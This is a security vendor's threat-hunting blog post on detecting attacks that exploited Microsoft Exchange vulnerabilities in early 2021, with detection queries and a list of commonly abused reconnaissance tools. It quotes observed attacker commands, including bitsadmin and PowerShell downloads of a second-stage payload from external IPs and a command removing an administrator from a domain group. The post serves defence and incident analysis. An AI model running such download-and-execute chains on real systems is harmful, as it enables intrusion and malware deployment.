Busted by XDR: Detecting Microsoft Exchange Post-Exploit Activity in February

By 
Apr 01, 2021
9 minutes
227 views

Executive Summary

On March 2, Microsoft released security updates to mitigate four critical zero-day Microsoft Exchange Server vulnerabilities that were actively exploited by a threat group they call HAFNIUM. Since the initial attacks, Unit 42 and a number of other threat intelligence teams have observed multiple threat actors exploiting these zero-day vulnerabilities in the wild.

Shortly after the public disclosure, we published a Threat Assessment and a threat hunting blog post explaining how to actively defend against these specific vulnerabilities. In this blog post, our goal is to highlight how our Managed Threat Hunting team was able to detect these zero-day threats using Cortex XDR before the Microsoft Exchange vulnerabilities were publicly disclosed. This naturally resulted in our clients being able to prevent these threat actors from conducting post-exploit activity before many of their peers in the industry.

Managed Threat Hunting

The Cortex XDR Managed Threat Hunting (MTH) team is a group of cybersecurity specialists that provide threat hunting services to a subset of Cortex XDR customers. In this section we will be walking through how MTH team members identified and investigated a number of incidents tied to the ongoing exploitation of the recent Microsoft Exchange Server vulnerabilities. This step by step deep dive will hopefully give readers a glimpse into how the critical combination of machine learning in Cortex XDR and human expertise help identify and action zero-day threats.

Initial Detection

In several of the cases we investigated, the Cortex XDR analytics engine raised an “Uncommon net group execution” alert. This immediately caught our attention because adversaries often abuse the net utility tool.

The 'net group' command was executed on [REDACTED]. Child process command line: net group "Exchange Organization administrators" administrator /del /domain. 0 other such command invocations were made in the last 30 days

Table 1. Alert details.

 

The Cortex XDR behavioral analytics engine detected this command invocation as an anomaly based on its machine learning models. The behavioral analytics engine works by profiling the behavior of users, hosts, endpoint processes, and more using machine learning and then generates an alert if it detects anomalous activity indicative of attacks. Behavioral analytics allows Cortex XDR to uncover stealthy attacker tactics and techniques with an exceptionally low rate of false positives.

In this instance, once Cortex XDR detected the attack activity, security teams were able to immediately visualize the chain of events leading to this alert, trace it back to the parent process, CMD.exe, and view the causality actor process, w3wp.exe, which was a Microsoft IIS worker process.

Figure 1: Causality view

Figure 1: Causality view

A review of the command line arguments for the IIS worker process found that it was associated with the “MSExchangeOWAAppPool” application pool.

Figure 2: w3wp.exe process with MSExchangeOWAAppPool.

Figure 2: w3wp.exe process with MSExchangeOWAAppPool.

Based on the information Cortex XDR had presented to us so far, we knew that this host was a Microsoft Exchange Server and we suspected it may be compromised with a webshell.

Investigation

Once we had an idea that we may be dealing with a webshell, we turned to XQL Search to answer the following questions we had surrounding this activity:

  1. Were any webshells recently dropped on this server?
//Exchange IIS process writing ASPX files to disk

dataset = xdr_data

|filter event_type = FILE AND event_sub_type IN (FILE_CREATE_NEW, FILE_WRITE)

|filter lowercase(actor_process_image_name) = "w3wp.exe"

|filter lowercase(action_file_extension) = "aspx"

|fields agent_hostname, actor_process_image_path, actor_process_image_command_line , action_file_path, action_file_sha256

Table 2. XQL Query

The goal of our initial search was to look for the IIS worker process writing ASPX files to disk. This resulted in the identification of the following file:

C:\inetpub\wwwroot\aspnet_client\system_web\brLBlE7h.aspx

Table 3. Webshell path

A closer look at brLBlE7h.aspx determined that it was an ASPX page that had a China Chopper webshell embedded in the ExternalURL parameter.

Figure 3: China Chopper webshell

Figure 3: China Chopper webshell

  1. Was a webshell used to run any other suspicious commands?

Our next query was aimed at obtaining a quick overview of any processes the Exchange IIS worker may have spawned:

//Exchange IIS sub process breakdown

dataset = xdr_data

|filter lowercase(os_actor_process_image_name) = "w3wp.exe" and lowercase(os_actor_process_command_line) contains "exchange"

|filter action_process_image_name !=null

|comp count_distinct(action_process_image_command_line) as Count by agent_hostname, causality_actor_process_image_name, action_process_image_name

Table 4. XQL Query

Figure 4: Query results

Figure 4: Query results

At the same time, we also ran a separate query that would provide us with more details on any commonly abused reconnaissance executables spawned by IIS:

//Exchange IIS process launching executables commonly used for reconnaissance purposes.

dataset = xdr_data

|filter os_actor_process_image_name = "w3wp.exe"

|filter event_type = PROCESS and event_sub_type = PROCESS_START and lowercase(action_process_image_name) in ("arp.exe","hostname.exe","ntdutil.exe","schtasks.exe","at.exe","ipconfig.exe","pathping.exe","systeminfo.exe","bitsadmin.exe","nbtstat.exe","ping.exe","tasklist.exe","certutil.exe","net.exe","powershell.exe","tracert.exe","cmd.exe","net1.exe","qprocess.exe","ver.exe","dsget.exe","netdom.exe","query.exe","vssadmin.exe","dsquery.exe","netsh.exe","qwinsta.exe","wevtutil.exe","find.exe","netstat.exe","reg.exe","whoami.exe","findstr.exe","nltest.exe","rundll32.exe","wmic.exe","fsutil.exe","nslookup.exe","sc.exe","wusa.exe")

|fields agent_hostname, os_actor_process_command_line , agent_version, actor_effective_username , action_process_image_name, action_process_image_command_line,actor_process_image_name, actor_process_image_command_line

Table 5. XQL Query

This query didn’t result in any findings outside of the initial net group event that was flagged by the Cortex XDR Analytics Engine:

"cmd" /c cd /d "C:\\inetpub\\wwwroot\\aspnet_client\\system_web"&net group "Exchange Organization administrators" administrator /del /domain&echo [S]&cd&echo [E]

Table 6. Query results

 

Managed Threat Hunting Response

At this point, we reached out to this customer and other customers with similar cases with our initial findings. Thanks to the early warning from Cortex XDR, the customers were able to isolate the endpoint using Cortex XDR and initiate their incident response process before the attack escalated.

An impact report was later sent out to all of our Managed Threat Hunting customers, informing them about the Exchange Vulnerabilities and recommended actions to ensure their environments were protected. Cortex XDR customers who purchase an optional Managed Threat Hunting subscription receive impact reports, threat reports, and guidance to quickly resolve incidents.

Threat Detection with Cortex XDR

Another example of a successfully contained incident occurred with another Cortex XDR customer prior to Microsoft’s disclosure.

Cortex XDR alerted the user of malicious activities in the form of incident reports.
Incidents are created from higher severity alerts, while relevant lower severity alerts are grouped into it. This ensures a minimum number of false positive incidents while allowing Cortex XDR to maximize the available information given in a single incident.

For example, the following alert created an incident:

* The Windows Script Host powershell.exe connected to the domain <DOMAIN> using the IP <IP>

* powershell -enc <BASE64>

* 0 other endpoints connected to this external ip over the last 30 days

* 0 other endpoints connected to this external domain over the last 30 days

Table 7. Script Connecting to Rare External Host alert

And these alerts were grouped into it:

Source Alert Description
Cortex XDR BIOC Bitsadmin.exe used to download data Some attacks were known to abuse BITSAdmin in the past to hide how data is downloaded using legitimate Windows tools
Cortex XDR BIOC Commonly-abused process spawned by web server Web server processes should normally only carry out tasks related to serving web applications
Cortex XDR BIOC PowerShell runs base64-encoded commands Running PowerShell with a base64-encoded payload in the command line is often used by attackers to evade detection

Table 8. Alert details.

By observing the causality of the incident, we can see multiple "red flags" that are indicative of the use of a webshell that downloads and runs a second stage malware:

c:\windows\system32\inetsrv\w3wp.exe -ap "MSExchangeOWAAppPool" ...

# Raised info alert: Bitsadmin.exe used to download data

"C:\Windows\System32\bitsadmin.exe" /rawreturn /transfer getfile http://<External_IP1>/3.avi c:\Users\$USER$\2.bat

# Raised info alert: Commonly-abused process spawned by web server

"C:\Windows\System32\cmd.exe" /c c:\Users\$USER$\2.bat

cmd /c mkdir C:\\users\\public\\opera

# Raised medium alert: Script Connecting to Rare External Host

# Raised info alert: PowerShell runs base64-encoded commands

powershell -enc <base64>:

(new-object System.Net.WebClient).DownloadFile('http://<External_IP2>/news/opera_browser.dll','C:\users\public\opera\opera_browser.dll')

(new-object System.Net.WebClient).DownloadFile('http://<External_IP2>/news/code','C:\users\public\opera\code')

(new-object System.Net.WebClient).DownloadFile('http://<External_IP2>/news/opera_browser.png','C:\users\public\opera\opera_browser.png')

(new-object System.Net.WebClient).DownloadFile('http://<External_IP2>/news/opera_browser.exe','C:\users\public\opera\opera_browser.exe')

# Raised info alert: Commonly-abused process spawned by web server

powershell Start-Sleep -Seconds 10

cmd /c C:\\users\\public\\opera\\opera_browser.exe

C:\\users\\public\\opera\\opera_browser.exe

msiexec.exe -k

Table 9. Causality of the incident.

We have seen multiple similar cases prior to Microsoft’s disclosure, one as early as February 23. After Microsoft's disclosure, we observed a major uptick in related alerts detected by Cortex XDR as seen in this graph:

Figure 6. Hit count graph

Figure 6. Hit count graph

Conclusion

In this post we have documented investigations that originated from Cortex XDR behavioral analytics alerts and resulted in identification and resolution of threats related to Microsoft Exchange Server vulnerabilities prior to any public disclosures. The onset of these alerts by the machine learning models in XDR was the critical catalyst in numerous cases and expert follow-up by the XDR Managed Threat Hunting specialists led to swift containment of the threat way before any public disclosures were made.

Managed Threat Hunting, an add-on service for Cortex XDR, lets you augment your team with Unit 42 threat hunters, who continuously monitor and search through your Cortex XDR data to uncover emerging threats in your environment.

Additional Resources


Subscribe to Security Operations Blogs!

Sign up to receive must-read articles, Playbooks of the Week, new feature announcements, and more.